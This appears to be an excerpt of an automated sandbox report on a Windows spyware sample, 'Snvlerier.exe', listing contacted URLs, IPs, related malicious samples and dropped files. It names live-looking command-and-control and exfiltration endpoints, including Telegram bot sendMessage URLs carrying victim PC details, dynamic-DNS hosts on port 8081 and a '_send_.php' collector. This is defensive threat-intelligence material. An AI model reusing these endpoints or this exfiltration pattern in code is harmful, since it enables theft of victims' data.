https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	msiexec.exe, 00000006.00000002.3069099861.0000000022651000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.0000000022780000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000227CE000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225DC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002262A000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000228A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Snvlerier.exe, Snvlerier.exe.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	msiexec.exe, 00000006.00000002.3069099861.0000000022651000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.0000000022780000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000227CE000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225DC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002262A000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000228A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://smtp.ionos.es	msiexec.exe, 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:179605%0D%0ADate%20a	msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000006.00000002.3066949084.00000000216C1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.00000000216F2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://varders.kozow.com:8081	msiexec.exe, 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2185474928.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://www.ionos.com/help/index.php?id=2425&ip=8.46.123.33&c=hd&r=1MPXMa-1tMkBm3Mnq-00Nj5b	msiexec.exe, 00000006.00000002.3066949084.00000000215B6000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021693000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.00000000216A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	msiexec.exe, 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
https://www.google.com	msiexec.exe, 00000006.00000003.2225341752.000000000581A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://nsis.sf.net/NSIS_Error	Snvlerier.exe, Snvlerier.exe.1.dr	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	msiexec.exe, 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown
http://crl.micro	powershell.exe, 00000001.00000002.2191636032.0000000006D66000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.2185474928.0000000004691000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	msiexec.exe, 00000006.00000002.3066949084.00000000215BE000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021579000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anotherarmy.dns.army:8081	msiexec.exe, 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	msiexec.exe, 00000006.00000002.3069099861.000000002262D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002275C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002287F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.0000000022787000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/HL	msiexec.exe, 00000006.00000002.3053737496.000000000576A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.2188765329.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2188765329.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	msiexec.exe, 00000006.00000002.3066949084.00000000216BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	msiexec.exe, 00000006.00000002.3066949084.00000000215BE000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.000000002154F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	msiexec.exe, 00000006.00000003.2225341752.000000000581A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	msiexec.exe, 00000006.00000002.3069099861.000000002262D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002275C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.000000002287F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.0000000022787000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3069099861.00000000225E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2185474928.0000000004691000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/XL	msiexec.exe, 00000006.00000002.3053737496.000000000576A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000006.00000002.3066949084.000000002154F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.185.110	drive.google.com	United States	15169	GOOGLEUS	false
213.165.67.118	smtp.ionos.es	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
142.250.185.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532989
Start date and time:	2024-10-14 09:10:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Snvlerier.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/14@6/6
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 96% Number of executed functions: 148 Number of non-executed functions: 74
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 7824 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7300 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:11:23	API Interceptor	34x Sleep call for process: powershell.exe modified
03:12:11	API Interceptor	109585x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	SecuriteInfo.com.Win32.Evo-gen.25810.23454.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Trojan.MulDrop23.34226.30433.19375.exe	Get hash	malicious	XWorm	Browse
	mIURiU8n2P.exe	Get hash	malicious	XWorm	Browse
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse
188.114.96.3	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sirr/five/fre.php
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	863811cm.nyafka.top/video_RequestpacketUpdategeneratorPublic.php
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/
	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2uvi/
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/71nl/
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/VO2TX
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/fOmsJ2bL/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.ionos.es	Contrato de Cesin de Crditos Sin Recurso.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	r8x1WvSkbWSUjXh6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.102
	ZcH50SI4q45Dtpf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.118
	LisectAVT_2403002A_257.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.102
	USyhqVZT33vX26Y.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.118
	60yQVZ67vj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	213.165.67.102
	JUSTIFICANTE PAGO FACTURA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	213.165.67.118
	Nowe zam#U00f3wienie nr 201030019.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.102
	pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	213.165.67.118
reallyfreegeoip.org	rPayment_slip.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	uV0qqqFMpL.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	uoglXqTRHC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	rPayment_slip.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	uV0qqqFMpL.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	193.122.6.168
	uoglXqTRHC.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
api.telegram.org	SecuriteInfo.com.Win32.Evo-gen.25810.23454.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.MulDrop23.34226.30433.19375.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	mIURiU8n2P.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	149.154.167.220
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	149.154.167.220
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Win32.Evo-gen.25810.23454.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.MulDrop23.34226.30433.19375.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	mIURiU8n2P.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	149.154.167.220
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	149.154.167.220
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	https://r.clk20.com/s.ashx?ms=clk20comb:221053_100505&e=ACCOUNTING%40SBO.CO.AT&eId=72534635&c=h&url=https%3a%2f%2fwww.digikey.at%3futm_medium%3demail%26utm_source%3dcsn%26utm_campaign%3dclk20comb:221053-100505_CSN24CMM1%26utm_content%3dDigiKeyLogo_AT%26utm_cid%3d&c=E,1,HpCcAtsbpCegpKKqJ9Y5uFcA_ydFOa8bwbyPDmQPWZrYVAHSEO4EBUFk2oBVcoOSlhj1U-BBO3hqrTRAz1S8XP6noRCD2_d6D_dY_HcwfLi_OKAuOxCdCkg,&typo=1	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://www.kwconnect.com/redirect?url=https://www.lugiest.com/sqx/#Xem9lLmdyYWhhbUBjeWJnLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://tracking.ei9ie7ph.com/aff_c?offer_id=14263&aff_id=2&source=testoffer&aff_sub=testoffer	Get hash	malicious	Unknown	Browse	172.66.0.227
	http://mxi.fr/json/upload/dkjxff.php?lfitf5p	Get hash	malicious	Unknown	Browse	172.67.170.19
	Executor.exe	Get hash	malicious	LummaC	Browse	104.21.46.170
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.77.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	ASL OTSL 2 ship's Particulars.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
ONEANDONE-ASBrauerstrasse48DE	TUj6dgsTTR.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	TNT Original Documents AWB 8013580.exe	Get hash	malicious	FormBook	Browse	217.160.0.27
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse	217.160.121.141
	https://speedcarad.es/1.php	Get hash	malicious	HTMLPhisher	Browse	82.223.67.146
	alWUxZvrvU.exe	Get hash	malicious	FormBook	Browse	217.76.128.34
	3qsTcL9MOT.exe	Get hash	malicious	FormBook	Browse	217.160.0.147
	zmhPgbED7M.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	NU1aAbSmCr.exe	Get hash	malicious	FormBook	Browse	217.160.0.231
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.119
ORACLE-BMC-31898US	na.elf	Get hash	malicious	Unknown	Browse	130.61.64.122
	na.elf	Get hash	malicious	Unknown	Browse	130.61.69.123
	rPayment_slip.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	uV0qqqFMpL.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	193.122.6.168
	uoglXqTRHC.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	TotalXTunisiaXRFQ.scr.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	rPayment_slip.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	uV0qqqFMpL.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.96.3
	uoglXqTRHC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	3Af7PybsUi.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3Af7PybsUi.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ASL OTSL 2 ship's Particulars.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	https://payrollruntimesheet.weebly.com/verify.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	SecuriteInfo.com.Win32.Evo-gen.25810.23454.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.MulDrop23.34226.30433.19375.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	https://shawnoreplyonlineaccess.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://shawwebmailll.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://bancolombia-personas-co.glitch.me/	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse	142.250.185.110 142.250.185.97
	80BvHOM51j.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	142.250.185.110 142.250.185.97
	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse	142.250.185.110 142.250.185.97
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse	142.250.185.110 142.250.185.97
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	142.250.185.110 142.250.185.97
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	142.250.185.110 142.250.185.97
	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.185.110 142.250.185.97
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	142.250.185.110 142.250.185.97
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.185.110 142.250.185.97

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvuzjaxv.tnl.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_umhsxoy3.x4m.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1da112i.c50.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ywbc4gwl.uzg.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
